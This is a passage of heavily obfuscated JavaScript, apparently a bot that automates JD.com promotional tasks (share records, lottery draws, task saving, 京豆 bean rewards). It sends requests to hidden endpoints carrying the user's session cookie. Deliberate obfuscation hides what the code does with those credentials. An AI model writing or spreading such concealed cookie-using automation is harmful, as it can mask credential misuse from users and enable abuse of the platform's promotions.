_0x58e297=res[_0x44c0('11c')][_0x368d26];if(_0x4e62ed[_0x44c0('125')](_0x58e297[_0x44c0('13f')],_0x4e62ed[_0x44c0('126')]))_0x51c11f++;if(_0x4e62ed[_0x44c0('140')](_0x58e297[_0x44c0('13f')],_0x4e62ed[_0x44c0('126')]))_0x49cb96=_0x58e297[_0x44c0('141')][_0x44c0('142')]('京豆','');if(_0x4e62ed[_0x44c0('115')](_0x58e297[_0x44c0('13f')],_0x4e62ed[_0x44c0('126')]))console[_0x44c0('7')](''+(_0x4e62ed[_0x44c0('127')](_0x42842c[_0x58e297[_0x44c0('13f')]]||_0x58e297[_0x44c0('13f')],':')||'')+_0x58e297[_0x44c0('141')]);}}if(_0x4e62ed[_0x44c0('143')](_0x51c11f,0x0))console[_0x44c0('7')](_0x44c0('144')+_0x51c11f+'):'+(_0x4e62ed[_0x44c0('145')](_0x51c11f,_0x4e62ed[_0x44c0('123')](parseInt,_0x49cb96,0xa))||0x14)+'京豆');}else{$[_0x44c0('2f')][_0x44c0('3')]({'shareUuid':$[_0x44c0('42')],'count':$[_0x44c0('de')],'index':$[_0x44c0('3b')]});}}else if(_0x4e62ed[_0x44c0('146')](typeof res,_0x4e62ed[_0x44c0('114')])&&res[_0x44c0('103')]){console[_0x44c0('7')](_0x44c0('147')+(res[_0x44c0('103')]||''));}else{console[_0x44c0('7')](_0x326c46);}}else{if(_0x4e62ed[_0x44c0('134')](_0x4e62ed[_0x44c0('148')],_0x4e62ed[_0x44c0('149')])){console[_0x44c0('7')](_0x326c46);}else{console[_0x44c0('7')](_0x38f881[_0x44c0('14a')]);$[_0x44c0('15')]=!![];}}}else{if(_0x40088f[_0x44c0('45')]&&_0x18afe6[_0x44c0('14b')](_0x40088f[_0x44c0('45')],0x1ed)){console[_0x44c0('7')](_0x18afe6[_0x44c0('14c')]);$[_0x44c0('15')]=!![];}console[_0x44c0('7')](''+$[_0x44c0('48')](_0x100363));console[_0x44c0('7')]($[_0x44c0('22')]+_0x44c0('49'));}}}catch(_0x5507ed){if(_0x4e62ed[_0x44c0('14d')](_0x4e62ed[_0x44c0('14e')],_0x4e62ed[_0x44c0('14e')])){let _0x345ada=res[_0x44c0('11c')][i];if(_0x38f881[_0x44c0('14f')](_0x345ada[_0x44c0('13f')],_0x38f881[_0x44c0('150')]))num++;if(_0x38f881[_0x44c0('151')](_0x345ada[_0x44c0('13f')],_0x38f881[_0x44c0('150')]))value=_0x345ada[_0x44c0('141')][_0x44c0('142')]('京豆','');if(_0x38f881[_0x44c0('152')](_0x345ada[_0x44c0('13f')],_0x38f881[_0x44c0('150')]))console[_0x44c0('7')](''+(_0x38f881[_0x44c0('153')](jsonName[_0x345ada[_0x44c0('13f')]]||_0x345ada[_0x44c0('13f')],':')||'')+_0x345ada[_0x44c0('141')]);}else{$[_0x44c0('4d')](_0x5507ed,_0x40088f);}}finally{_0x4e62ed[_0x44c0('154')](_0x595fc9);}});}});}function getShareRecord(){var _0x7f2397={'nGIEo':_0x44c0('155'),'pJIUD':_0x44c0('156'),'yEmbi':_0x44c0('157'),'IfYmz':_0x44c0('158'),'xzPEj':_0x44c0('159'),'yYnjJ':function(_0x524bf4){return _0x524bf4();},'vxOUY':function(_0x509828,_0x4b0569){return _0x509828===_0x4b0569;},'RsKbT':_0x44c0('15a'),'eTRRR':_0x44c0('15b'),'zEpHJ':function(_0x39b292,_0x1db98a){return _0x39b292==_0x1db98a;},'NyOoX':_0x44c0('17'),'aGyCu':function(_0x5a96f7,_0x5cd8c2){return _0x5a96f7!==_0x5cd8c2;},'gXGSt':_0x44c0('15c'),'LGxbh':_0x44c0('15d'),'sFqzA':function(_0x28ec8a,_0x317b1f){return _0x28ec8a==_0x317b1f;},'vZPZb':_0x44c0('108'),'bmvPt':function(_0x4523b0,_0x435a36){return _0x4523b0===_0x435a36;},'mqvpe':_0x44c0('15e'),'IDzZP':_0x44c0('15f'),'AtJje':function(_0x10e0ea,_0x55fcb3){return _0x10e0ea==_0x55fcb3;},'GiIMT':_0x44c0('160'),'Wfcni':_0x44c0('161'),'xbrPo':_0x44c0('162'),'xpXQA':function(_0x539d39,_0x1fda52){return _0x539d39!==_0x1fda52;},'JjYgj':_0x44c0('163'),'VnxJA':function(_0x27c5b7){return _0x27c5b7();},'bJfei':function(_0x320771,_0xa589f6){return _0x320771(_0xa589f6);},'wAAeL':function(_0x2934d2,_0x562896,_0x2b1f40){return _0x2934d2(_0x562896,_0x2b1f40);}};return new Promise(_0x150016=>{var _0x42ea69={'VtsKL':_0x7f2397[_0x44c0('164')],'xMKcd':function(_0x215a68){return _0x7f2397[_0x44c0('165')](_0x215a68);}};let _0x5bde9c=_0x44c0('11e')+$[_0x44c0('32')]+_0x44c0('120')+_0x7f2397[_0x44c0('166')](encodeURIComponent,$[_0x44c0('6b')])+_0x44c0('11f')+$[_0x44c0('42')]+_0x44c0('167')+$[_0x44c0('42')];$[_0x44c0('122')](_0x7f2397[_0x44c0('168')](taskPostUrl,_0x44c0('169'),_0x5bde9c),async(_0xcba055,_0x29f7c1,_0x119dce)=>{var _0x350b2f={'Qmjdq':_0x7f2397[_0x44c0('16a')],'yzDxg':_0x7f2397[_0x44c0('16b')],'kZMPm':_0x7f2397[_0x44c0('16c')],'glGtl':_0x7f2397[_0x44c0('16d')],'vDDBg':_0x7f2397[_0x44c0('16e')],'GOEWH':function(_0x460455){return _0x7f2397[_0x44c0('16f')](_0x460455);}};try{if(_0xcba055){if(_0x7f2397[_0x44c0('170')](_0x7f2397[_0x44c0('171')],_0x7f2397[_0x44c0('172')])){console[_0x44c0('7')](_0x42ea69[_0x44c0('173')]);$[_0x44c0('15')]=!![];}else{if(_0x29f7c1[_0x44c0('45')]&&_0x7f2397[_0x44c0('174')](_0x29f7c1[_0x44c0('45')],0x1ed)){console[_0x44c0('7')](_0x7f2397[_0x44c0('164')]);$[_0x44c0('15')]=!![];}console[_0x44c0('7')](''+$[_0x44c0('48')](_0xcba055));console[_0x44c0('7')]($[_0x44c0('22')]+_0x44c0('49'));}}else{if(_0x7f2397[_0x44c0('175')](_0x7f2397[_0x44c0('176')],_0x7f2397[_0x44c0('177')])){res=$[_0x44c0('12b')](_0x119dce);if(_0x7f2397[_0x44c0('178')](typeof res,_0x7f2397[_0x44c0('179')])){if(_0x7f2397[_0x44c0('17a')](res[_0x44c0('12d')],!![])&&res[_0x44c0('11c')]){if(_0x7f2397[_0x44c0('175')](_0x7f2397[_0x44c0('17b')],_0x7f2397[_0x44c0('17c')])){$[_0x44c0('de')]=res[_0x44c0('11c')][_0x44c0('37')];$[_0x44c0('7')](_0x44c0('17d')+res[_0x44c0('11c')][_0x44c0('37')]+'个');}else{console[_0x44c0('7')](''+(res[_0x44c0('103')]||''));}}else if(_0x7f2397[_0x44c0('17e')](typeof res,_0x7f2397[_0x44c0('179')])&&res[_0x44c0('103')]){if(_0x7f2397[_0x44c0('175')](_0x7f2397[_0x44c0('17f')],_0x7f2397[_0x44c0('180')])){console[_0x44c0('7')](''+(res[_0x44c0('103')]||''));}else{return{'url':_0x44c0('181')+functionId+_0x44c0('182'),'headers':{'Content-Type':_0x350b2f[_0x44c0('183')],'Origin':_0x350b2f[_0x44c0('184')],'Host':_0x350b2f[_0x44c0('185')],'accept':_0x350b2f[_0x44c0('186')],'User-Agent':$['UA'],'content-type':_0x350b2f[_0x44c0('187')],'Referer':_0x44c0('188')+functionId+_0x44c0('189')+functionId+_0x44c0('18a')+$[_0x44c0('32')]+_0x44c0('35')+$[_0x44c0('30')],'Cookie':cookie}};}}else{if(_0x7f2397[_0x44c0('17a')](_0x7f2397[_0x44c0('18b')],_0x7f2397[_0x44c0('18b')])){console[_0x44c0('7')](_0x119dce);}else{_0x350b2f[_0x44c0('18c')](_0x150016);}}}else{console[_0x44c0('7')](_0x119dce);}}else{_0x42ea69[_0x44c0('18d')](_0x150016);}}}catch(_0x4be8b){$[_0x44c0('4d')](_0x4be8b,_0x29f7c1);}finally{if(_0x7f2397[_0x44c0('18e')](_0x7f2397[_0x44c0('18f')],_0x7f2397[_0x44c0('18f')])){console[_0x44c0('7')](_0x119dce);}else{_0x7f2397[_0x44c0('16f')](_0x150016);}}});});}function draw(_0x1d805c){var _0xce574={'PMbcX':function(_0x3c9ba2,_0x346fe5){return _0x3c9ba2===_0x346fe5;},'oWYcw':_0x44c0('190'),'eZAKM':function(_0xb18948,_0x13ce27){return _0xb18948==_0x13ce27;},'kPmzR':_0x44c0('17'),'icgfH':function(_0x12a49a,_0x1d65ca){return _0x12a49a!==_0x1d65ca;},'FyPuA':_0x44c0('191'),'xIOss':_0x44c0('108'),'GxaZb':function(_0x7e84cc,_0x44ac16){return _0x7e84cc||_0x44ac16;},'oElzA':_0x44c0('192'),'SrXGo':function(_0x141e7f){return _0x141e7f();},'ZmgeP':function(_0x5a8f37,_0x14cac3){return _0x5a8f37(_0x14cac3);},'KaHbf':function(_0x324336,_0x1e9d95,_0x4d9228){return _0x324336(_0x1e9d95,_0x4d9228);}};return new Promise(_0x449286=>{var _0x9b7d1d={'dDHBs':function(_0x97b537,_0x5b39c5){return _0xce574[_0x44c0('193')](_0x97b537,_0x5b39c5);},'xhQWH':_0xce574[_0x44c0('194')],'rkSpD':function(_0x16f544,_0xabc87c){return _0xce574[_0x44c0('195')](_0x16f544,_0xabc87c);},'kCfTd':_0xce574[_0x44c0('196')],'Zeras':function(_0x5b2fe3,_0x54c04a){return _0xce574[_0x44c0('197')](_0x5b2fe3,_0x54c04a);},'DFvqN':_0xce574[_0x44c0('198')],'yYgby':_0xce574[_0x44c0('199')],'HWOfE':function(_0xa9c41e,_0x1ea709){return _0xce574[_0x44c0('193')](_0xa9c41e,_0x1ea709);},'ONWBN':function(_0x11d47a,_0x774e22){return _0xce574[_0x44c0('195')](_0x11d47a,_0x774e22);},'nVagk':function(_0x5bdea3,_0x2cf25c){return _0xce574[_0x44c0('19a')](_0x5bdea3,_0x2cf25c);},'GvkNf':_0xce574[_0x44c0('19b')],'PAVEC':function(_0x2400ad){return _0xce574[_0x44c0('19c')](_0x2400ad);}};let _0xe68073=_0x44c0('11e')+$[_0x44c0('32')]+_0x44c0('120')+_0xce574[_0x44c0('19d')](encodeURIComponent,$[_0x44c0('6b')]);const _0xf965a2=_0xce574[_0x44c0('19e')](taskPostUrl,_0x44c0('19f')+_0x1d805c,_0xe68073);$[_0x44c0('122')](_0xf965a2,async(_0x3a774f,_0x5440a7,_0x492496)=>{try{if(_0x3a774f){if(_0x9b7d1d[_0x44c0('1a0')](_0x9b7d1d[_0x44c0('1a1')],_0x9b7d1d[_0x44c0('1a1')])){if(_0x5440a7[_0x44c0('45')]&&_0x9b7d1d[_0x44c0('1a2')](_0x5440a7[_0x44c0('45')],0x1ed)){console[_0x44c0('7')](_0x9b7d1d[_0x44c0('1a3')]);$[_0x44c0('15')]=!![];}console[_0x44c0('7')](''+$[_0x44c0('48')](_0x3a774f));console[_0x44c0('7')]($[_0x44c0('22')]+_0x44c0('49'));}else{setcookie=setcookies[_0x44c0('11b')](',');}}else{if(_0x9b7d1d[_0x44c0('1a4')](_0x9b7d1d[_0x44c0('1a5')],_0x9b7d1d[_0x44c0('1a5')])){console[_0x44c0('7')](_0x44c0('1a6')+(_0x492496[_0x44c0('12d')][_0x44c0('1a7')][_0x44c0('1a8')]||''));$[_0x44c0('1a9')]=_0x492496[_0x44c0('12d')][_0x44c0('1aa')]&&_0x492496[_0x44c0('12d')][_0x44c0('1aa')][0x0]&&_0x492496[_0x44c0('12d')][_0x44c0('1aa')][0x0][_0x44c0('1ab')]&&_0x492496[_0x44c0('12d')][_0x44c0('1aa')][0x0][_0x44c0('1ab')][_0x44c0('32')]||'';}else{let _0x174190=$[_0x44c0('12b')](_0x492496);if(_0x9b7d1d[_0x44c0('1a2')](typeof _0x174190,_0x9b7d1d[_0x44c0('1ac')])){if(_0x9b7d1d[_0x44c0('1ad')](_0x174190[_0x44c0('12d')],!![])&&_0x174190[_0x44c0('11c')]){let _0x46c6cc=_0x174190[_0x44c0('11c')][_0x44c0('1ae')]&&(_0x9b7d1d[_0x44c0('1a2')](_0x174190[_0x44c0('11c')][_0x44c0('1ae')][_0x44c0('1af')],0x6)||_0x9b7d1d[_0x44c0('1b0')](_0x174190[_0x44c0('11c')][_0x44c0('1ae')][_0x44c0('1af')],0x15))&&_0x174190[_0x44c0('11c')][_0x44c0('1ae')][_0x44c0('22')]||'';console[_0x44c0('7')](_0x44c0('1b1')+_0x9b7d1d[_0x44c0('1b2')](_0x46c6cc,_0x9b7d1d[_0x44c0('1b3')]));if(!_0x46c6cc)console[_0x44c0('7')](_0x492496);}else if(_0x9b7d1d[_0x44c0('1b0')](typeof _0x174190,_0x9b7d1d[_0x44c0('1ac')])&&_0x174190[_0x44c0('103')]){console[_0x44c0('7')](_0x44c0('1b4')+(_0x174190[_0x44c0('103')]||''));}else{console[_0x44c0('7')](_0x492496);}}else{console[_0x44c0('7')](_0x492496);}}}}catch(_0x54c4cc){$[_0x44c0('4d')](_0x54c4cc,_0x5440a7);}finally{_0x9b7d1d[_0x44c0('1b5')](_0x449286);}});});}function getInitInfo(){var _0x33f086={'hDMqw':_0x44c0('17'),'BhCwX':function(_0x16705a,_0x29edad){return _0x16705a==_0x29edad;},'FsOjB':function(_0x3eede2,_0xea85ce){return _0x3eede2!=_0xea85ce;},'eeTUL':_0x44c0('53'),'ZEHck':function(_0x170353,_0x83e650){return _0x170353+_0x83e650;},'QaewD':_0x44c0('1a'),'ByBqd':_0x44c0('1c'),'ZRLrs':function(_0x2556de,_0x151e1b){return _0x2556de!=_0x151e1b;},'YSJeZ':function(_0x551428,_0x4aa879){return _0x551428+_0x4aa879;},'Zrqyb':function(_0x17f47d,_0x2eeab7){return _0x17f47d===_0x2eeab7;},'NOvNo':_0x44c0('1b6'),'wtpLu':_0x44c0('108'),'JuovF':_0x44c0('1b7'),'Wrsjr':function(_0x4f7650,_0x5769f2){return _0x4f7650==_0x5769f2;},'fiOBR':_0x44c0('1b8'),'OWqCQ':_0x44c0('1b9'),'EeZKv':_0x44c0('1ba'),'yrNmJ':_0x44c0('1bb'),'nATma':_0x44c0('1bc'),'svAGd':function(_0x598949){return _0x598949();},'RHDaf':function(_0x2ff882,_0x49652f){return _0x2ff882!==_0x49652f;},'xzNCQ':_0x44c0('1bd'),'gicpm':_0x44c0('1be'),'rgEBA':function(_0x325793,_0x3742f0){return _0x325793(_0x3742f0);},'SvKmF':function(_0xa6ed92,_0x3af4a4,_0x564832){return _0xa6ed92(_0x3af4a4,_0x564832);}};return new Promise(_0xd7a515=>{var _0x267293={'xLQqs':function(_0x52f16c,_0x357617){return _0x33f086[_0x44c0('1bf')](_0x52f16c,_0x357617);},'MISAL':_0x33f086[_0x44c0('1c0')],'ttKGW':function(_0x7a4da1,_0x3b4fae){return _0x33f086[_0x44c0('1c1')](_0x7a4da1,_0x3b4fae);},'wLpGb':_0x33f086[_0x44c0('1c2')],'FEtda':function(_0x4ac30a,_0x3ba4a5){return _0x33f086[_0x44c0('1c3')](_0x4ac30a,_0x3ba4a5);},'EWrHt':_0x33f086[_0x44c0('1c4')],'IczWb':_0x33f086[_0x44c0('1c5')],'leYnD':function(_0x44a5cc,_0x557afe){return _0x33f086[_0x44c0('1c6')](_0x44a5cc,_0x557afe);},'RpHDR':function(_0x1fdbcc,_0x48d5f1){return _0x33f086[_0x44c0('1c7')](_0x1fdbcc,_0x48d5f1);},'bbtFs':function(_0x5a9894,_0x12580f){return _0x33f086[_0x44c0('1c8')](_0x5a9894,_0x12580f);},'JvWxx':_0x33f086[_0x44c0('1c9')],'QLXfd':_0x33f086[_0x44c0('1ca')],'MHSsl':function(_0x2159a2,_0x30ea6b){return _0x33f086[_0x44c0('1c8')](_0x2159a2,_0x30ea6b);},'TnRAY':_0x33f086[_0x44c0('1cb')],'GSFvJ':function(_0x5c1a94,_0x1331da){return _0x33f086[_0x44c0('1cc')](_0x5c1a94,_0x1331da);},'nqvrA':_0x33f086[_0x44c0('1cd')],'JiEEY':_0x33f086[_0x44c0('1ce')],'qSXoz':_0x33f086[_0x44c0('1cf')],'tfLxc':function(_0x3dda9,_0x405d6c){return _0x33f086[_0x44c0('1c8')](_0x3dda9,_0x405d6c);},'VYkjX':_0x33f086[_0x44c0('1d0')],'miNVm':_0x33f086[_0x44c0('1d1')],'XsQfb':function(_0x4d01aa){return _0x33f086[_0x44c0('1d2')](_0x4d01aa);}};if(_0x33f086[_0x44c0('1d3')](_0x33f086[_0x44c0('1d4')],_0x33f086[_0x44c0('1d5')])){let _0x4e7103=_0x44c0('1d6')+$[_0x44c0('30')]+_0x44c0('1d7')+$[_0x44c0('32')]+_0x44c0('120')+_0x33f086[_0x44c0('1d8')](encodeURIComponent,$[_0x44c0('6b')])+_0x44c0('11f')+$[_0x44c0('42')]+_0x44c0('167')+$[_0x44c0('30')];$[_0x44c0('122')](_0x33f086[_0x44c0('1d9')](taskPostUrl,_0x44c0('1da'),_0x4e7103),async(_0x4a3add,_0x44273b,_0x2d9725)=>{var _0x7ec2db={'sGGmf':function(_0x26aea4,_0x26690c){return _0x267293[_0x44c0('1db')](_0x26aea4,_0x26690c);},'GhVVG':_0x267293[_0x44c0('1dc')],'TkNZI':function(_0x4eae62,_0xff4f2a){return _0x267293[_0x44c0('1dd')](_0x4eae62,_0xff4f2a);},'srrlR':_0x267293[_0x44c0('1de')],'aDChS':_0x267293[_0x44c0('1df')],'xedbN':function(_0x592440,_0x3dfdd4){return _0x267293[_0x44c0('1e0')](_0x592440,_0x3dfdd4);},'TXkGr':function(_0x2d78d5,_0x4e8326){return _0x267293[_0x44c0('1e1')](_0x2d78d5,_0x4e8326);}};try{if(_0x4a3add){if(_0x267293[_0x44c0('1e2')](_0x267293[_0x44c0('1e3')],_0x267293[_0x44c0('1e3')])){if(_0x44273b[_0x44c0('45')]&&_0x267293[_0x44c0('1e4')](_0x44273b[_0x44c0('45')],0x1ed)){console[_0x44c0('7')](_0x267293[_0x44c0('1e5')]);$[_0x44c0('15')]=!![];}console[_0x44c0('7')](''+$[_0x44c0('48')](_0x4a3add));console[_0x44c0('7')]($[_0x44c0('22')]+_0x44c0('49'));}else{if(_0x7ec2db[_0x44c0('1e6')](typeof res[_0x44c0('11c')][_0x44c0('74')],_0x7ec2db[_0x44c0('1e7')]))$[_0x44c0('74')]=res[_0x44c0('11c')][_0x44c0('74')];if(_0x7ec2db[_0x44c0('1e6')](typeof res[_0x44c0('11c')][_0x44c0('77')],_0x7ec2db[_0x44c0('1e7')]))$[_0x44c0('77')]=res[_0x44c0('11c')][_0x44c0('77')];}}else{let _0x500f0a=$[_0x44c0('12b')](_0x2d9725);if(_0x267293[_0x44c0('1e4')](typeof _0x500f0a,_0x267293[_0x44c0('1e8')])){if(_0x267293[_0x44c0('1e9')](_0x500f0a[_0x44c0('12d')],!![])&&_0x500f0a[_0x44c0('11c')]){var _0x380aeb=_0x267293[_0x44c0('1ea')][_0x44c0('11b')]('|'),_0x5bb216=0x0;while(!![]){switch(_0x380aeb[_0x5bb216++]){case'0':$[_0x44c0('b4')]=_0x500f0a[_0x44c0('11c')][_0x44c0('11d')];continue;case'1':$[_0x44c0('ae')]=_0x500f0a[_0x44c0('11c')][_0x44c0('ae')];continue;case'2':$[_0x44c0('9e')]=_0x500f0a[_0x44c0('11c')][_0x44c0('9e')];continue;case'3':$[_0x44c0('a3')]=_0x500f0a[_0x44c0('11c')][_0x44c0('a3')];continue;case'4':$[_0x44c0('aa')]=_0x500f0a[_0x44c0('11c')][_0x44c0('aa')];continue;case'5':$[_0x44c0('a6')]=_0x500f0a[_0x44c0('11c')][_0x44c0('a6')];continue;}break;}}else if(_0x267293[_0x44c0('1eb')](typeof _0x500f0a,_0x267293[_0x44c0('1e8')])&&_0x500f0a[_0x44c0('103')]){if(_0x267293[_0x44c0('1e9')](_0x267293[_0x44c0('1ec')],_0x267293[_0x44c0('1ec')])){console[_0x44c0('7')](_0x44c0('1ed')+(_0x500f0a[_0x44c0('103')]||''));}else{$[_0x44c0('7f')]=_0x500f0a[_0x44c0('11c')][_0x44c0('1ee')];$[_0x44c0('87')]=_0x500f0a[_0x44c0('11c')][_0x44c0('87')];$[_0x44c0('1ef')]=_0x500f0a[_0x44c0('11c')][_0x44c0('1ef')];}}else{console[_0x44c0('7')](_0x2d9725);}}else{if(_0x267293[_0x44c0('1e9')](_0x267293[_0x44c0('1f0')],_0x267293[_0x44c0('1f1')])){if(_0x44273b[_0x44c0('45')]&&_0x267293[_0x44c0('1e4')](_0x44273b[_0x44c0('45')],0x1ed)){console[_0x44c0('7')](_0x267293[_0x44c0('1e5')]);$[_0x44c0('15')]=!![];}console[_0x44c0('7')](''+$[_0x44c0('48')](_0x4a3add));console[_0x44c0('7')]($[_0x44c0('22')]+_0x44c0('1f2'));}else{console[_0x44c0('7')](_0x2d9725);}}}}catch(_0x39aff0){if(_0x267293[_0x44c0('1f3')](_0x267293[_0x44c0('1f4')],_0x267293[_0x44c0('1f5')])){if(_0x7ec2db[_0x44c0('1e6')](_0x7ec2db[_0x44c0('1f6')](guaopencard,''),_0x7ec2db[_0x44c0('1f7')])){console[_0x44c0('7')](_0x7ec2db[_0x44c0('1f8')]);}if(_0x7ec2db[_0x44c0('1f9')](_0x7ec2db[_0x44c0('1fa')](guaopencard,''),_0x7ec2db[_0x44c0('1f7')])){return;}}else{$[_0x44c0('4d')](_0x39aff0,_0x44273b);}}finally{_0x267293[_0x44c0('1fb')](_0xd7a515);}});}else{console[_0x44c0('7')](_0x33f086[_0x44c0('1c0')]);$[_0x44c0('15')]=!![];}});}function getproduct(){var _0x23c042={'DDIia':function(_0xc5b992,_0x111af1){return _0xc5b992!=_0x111af1;},'ylEVY':_0x44c0('53'),'SmSuc':_0x44c0('54'),'ECVmv':function(_0x3a50de,_0x37f69e){return _0x3a50de===_0x37f69e;},'rfHbV':_0x44c0('1fc'),'EnEgR':_0x44c0('1fd'),'uQONe':function(_0x3c40d2,_0x487e06){return _0x3c40d2==_0x487e06;},'OlJgn':_0x44c0('108'),'HoqIV':function(_0x1bf585,_0x2829ba){return _0x1bf585!==_0x2829ba;},'NwIDn':_0x44c0('1fe'),'mpKTA':function(_0x5b11bc,_0x343f2d){return _0x5b11bc===_0x343f2d;},'Lzvfh':function(_0x5342e5,_0x58e6ad){return _0x5342e5===_0x58e6ad;},'uJfTC':_0x44c0('1ff'),'DjhKE':function(_0x3fcd43){return _0x3fcd43();},'SWeGe':_0x44c0('200'),'imQhx':function(_0x935751,_0x414b48){return _0x935751(_0x414b48);},'HznxZ':function(_0x3ddbc9,_0x4a68dc,_0xbe8637){return _0x3ddbc9(_0x4a68dc,_0xbe8637);}};return new Promise(_0x1251cb=>{var _0x219783={'bOlOa':_0x23c042[_0x44c0('201')]};let _0x13786f=_0x44c0('202')+$[_0x44c0('32')]+_0x44c0('120')+_0x23c042[_0x44c0('203')](encodeURIComponent,$[_0x44c0('6b')])+_0x44c0('11f')+$[_0x44c0('42')]+_0x44c0('167')+$[_0x44c0('30')];$[_0x44c0('122')](_0x23c042[_0x44c0('204')](taskPostUrl,_0x44c0('205')+Date[_0x44c0('206')](),_0x13786f),async(_0x3ff89a,_0x2bf1af,_0x5a3ecf)=>{var _0x435ed7={'vDqbp':function(_0x2552e0,_0x6639bd){return _0x23c042[_0x44c0('207')](_0x2552e0,_0x6639bd);},'eOLnq':_0x23c042[_0x44c0('208')],'LGnow':_0x23c042[_0x44c0('209')]};if(_0x23c042[_0x44c0('20a')](_0x23c042[_0x44c0('20b')],_0x23c042[_0x44c0('20c')])){if(res[_0x44c0('11c')]&&_0x435ed7[_0x44c0('20d')](typeof res[_0x44c0('11c')][_0x44c0('20e')],_0x435ed7[_0x44c0('20f')]))$[_0x44c0('7a')]=res[_0x44c0('11c')][_0x44c0('20e')]||_0x435ed7[_0x44c0('210')];}else{try{if(_0x3ff89a){console[_0x44c0('7')](''+$[_0x44c0('48')](_0x3ff89a));console[_0x44c0('7')]($[_0x44c0('22')]+_0x44c0('49'));}else{let _0x382e37=$[_0x44c0('12b')](_0x5a3ecf);if(_0x23c042[_0x44c0('211')](typeof _0x382e37,_0x23c042[_0x44c0('212')])){if(_0x23c042[_0x44c0('213')](_0x23c042[_0x44c0('214')],_0x23c042[_0x44c0('214')])){console[_0x44c0('7')](''+$[_0x44c0('48')](_0x3ff89a));console[_0x44c0('7')]($[_0x44c0('22')]+_0x44c0('215'));}else{if(_0x23c042[_0x44c0('216')](_0x382e37[_0x44c0('12d')],!![])&&_0x382e37[_0x44c0('11c')]){if(_0x23c042[_0x44c0('217')](_0x23c042[_0x44c0('218')],_0x23c042[_0x44c0('218')])){$[_0x44c0('219')]=_0x382e37[_0x44c0('11c')];}else{url=_0x219783[_0x44c0('21a')];}}else if(_0x23c042[_0x44c0('211')](typeof _0x382e37,_0x23c042[_0x44c0('212')])&&_0x382e37[_0x44c0('103')]){console[_0x44c0('7')](title+'\x20'+(_0x382e37[_0x44c0('103')]||''));}else{console[_0x44c0('7')](_0x5a3ecf);}}}else{console[_0x44c0('7')](_0x5a3ecf);}}}catch(_0x4e97b3){$[_0x44c0('4d')](_0x4e97b3,_0x2bf1af);}finally{_0x23c042[_0x44c0('21b')](_0x1251cb);}}});});}function saveTask(_0x1c6d93,_0x1edbe0,_0x3bf2ff){var _0xf8d6c4={'uOZep':function(_0x3b0efe,_0x3d60cf){return _0x3b0efe==_0x3d60cf;},'BfBwZ':_0x44c0('17'),'hbxMA':function(_0x475d8e){return _0x475d8e();},'RSLOv':function(_0x480b39,_0x5e3dc){return _0x480b39!==_0x5e3dc;},'RbKDU':_0x44c0('21c'),'GMIgo':function(_0x1a41bc,_0x318d4c){return _0x1a41bc===_0x318d4c;},'qWGzf':_0x44c0('21d'),'YiTCx':_0x44c0('21e'),'xZpin':_0x44c0('21f'),'aASNK':_0x44c0('220'),'QZnzD':_0x44c0('108'),'Tqbps':_0x44c0('221'),'nFlyf':function(_0x5a66fa,_0x2d5be3){return _0x5a66fa||_0x2d5be3;},'Ruzwq':_0x44c0('192'),'flnzI':function(_0x4704f5,_0x3fb550){return _0x4704f5==_0x3fb550;},'GABvX':function(_0x255b7c,_0x41b6a3){return _0x255b7c!==_0x41b6a3;},'kvHFH':_0x44c0('222'),'CBDRZ':_0x44c0('223'),'siqBd':_0x44c0('224'),'zkceE':_0x44c0('225'),'LKokj':function(_0xa79328,_0x2a2266){return _0xa79328(_0x2a2266);},'VtosE':function(_0x3fb9b3,_0x425c6b,_0xd0c953){return _0x3fb9b3(_0x425c6b,_0xd0c953);}};return new Promise(_0x46e914=>{var _0x73517={'FcCDU':function(_0x3a2a17,_0xc83532){return _0xf8d6c4[_0x44c0('226')](_0x3a2a17,_0xc83532);},'FJRzC':_0xf8d6c4[_0x44c0('227')]};let _0x18e91c=_0x44c0('11e')+$[_0x44c0('32')]+_0x44c0('11f')+$[_0x44c0('42')]+_0x44c0('120')+_0xf8d6c4[_0x44c0('228')](encodeURIComponent,$[_0x44c0('6b')])+_0x44c0('35')+$[_0x44c0('30')]+_0x44c0('229')+_0x1edbe0+_0x44c0('22a')+_0x3bf2ff;$[_0x44c0('122')](_0xf8d6c4[_0x44c0('22b')](taskPostUrl,_0x44c0('22c'),_0x18e91c),async(_0x4bd840,_0x20badd,_0x3ff987)=>{var _0x470d1b={'MHsga':function(_0x143508,_0x344ad2){return _0xf8d6c4[_0x44c0('22d')](_0x143508,_0x344ad2);},'dbELa':_0xf8d6c4[_0x44c0('227')],'gZOqo':function(_0x54bab8){return _0xf8d6c4[_0x44c0('22e')](_0x54bab8);}};try{if(_0xf8d6c4[_0x44c0('22f')](_0xf8d6c4[_0x44c0('230')],_0xf8d6c4[_0x44c0('230')])){console[_0x44c0('7')](_0x44c0('231')+i[_0x44c0('232')]+i[_0x44c0('233')]+i[_0x44c0('234')]);}else{if(_0x4bd840){if(_0xf8d6c4[_0x44c0('235')](_0xf8d6c4[_0x44c0('236')],_0xf8d6c4[_0x44c0('237')])){if(_0x20badd[_0x44c0('45')]&&_0x470d1b[_0x44c0('238')](_0x20badd[_0x44c0('45')],0x1ed)){console[_0x44c0('7')](_0x470d1b[_0x44c0('239')]);$[_0x44c0('15')]=!![];}console[_0x44c0('7')](''+$[_0x44c0('48')](_0x4bd840));console[_0x44c0('7')]($[_0x44c0('22')]+_0x44c0('49'));}else{if(_0x20badd[_0x44c0('45')]&&_0xf8d6c4[_0x44c0('22d')](_0x20badd[_0x44c0('45')],0x1ed)){if(_0xf8d6c4[_0x44c0('235')](_0xf8d6c4[_0x44c0('23a')],_0xf8d6c4[_0x44c0('23a')])){console[_0x44c0('7')](_0xf8d6c4[_0x44c0('227')]);$[_0x44c0('15')]=!![];}else{setcookie=setcookies[_0x44c0('11b')](',');}}console[_0x44c0('7')](''+$[_0x44c0('48')](_0x4bd840));console[_0x44c0('7')]($[_0x44c0('22')]+_0x44c0('49'));}}else{if(_0xf8d6c4[_0x44c0('22f')](_0xf8d6c4[_0x44c0('23b')],_0xf8d6c4[_0x44c0('23b')])){if(_0x20badd[_0x44c0('45')]&&_0x73517[_0x44c0('23c')](_0x20badd[_0x44c0('45')],0x1ed)){console[_0x44c0('7')](_0x73517[_0x44c0('23d')]);$[_0x44c0('15')]=!![];}console[_0x44c0('7')](''+$[_0x44c0('48')](_0x4bd840));console[_0x44c0('7')]($[_0x44c0('22')]+_0x44c0('23e'));}else{let _0x5b3ffd=$[_0x44c0('12b')](_0x3ff987);if(_0xf8d6c4[_0x44c0('22d')](typeof 